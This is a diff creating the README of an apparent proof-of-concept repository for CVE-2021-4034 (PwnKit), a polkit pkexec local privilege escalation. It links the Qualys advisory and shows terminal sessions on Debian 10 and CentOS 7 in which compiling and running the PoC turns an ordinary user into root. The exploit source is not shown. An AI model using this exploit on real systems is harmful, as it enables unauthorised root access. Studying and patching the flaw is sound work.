Create README.md

README.md

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+# CVE-2021-4034
+PoC for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)
+
+https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
+
+# PoC
+
+Verified on Debian 10 and CentOS 7.
+
+```
+user@debian:~$ grep PRETTY /etc/os-release
+PRETTY_NAME="Debian GNU/Linux 10 (buster)"
+user@debian:~$ id
+uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
+user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
+user@debian:~$ ./cve-2021-4034-poc
+# id
+uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
+```
+
+```
+[user@centos ~]$ grep PRETTY /etc/os-release
+PRETTY_NAME="CentOS Linux 7 (Core)"
+[user@centos ~]$ id
+uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
+[user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
+[user@centos ~]$ ./cve-2021-4034-poc
+sh-4.2# id
+uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
+sh-4.2# exit
+```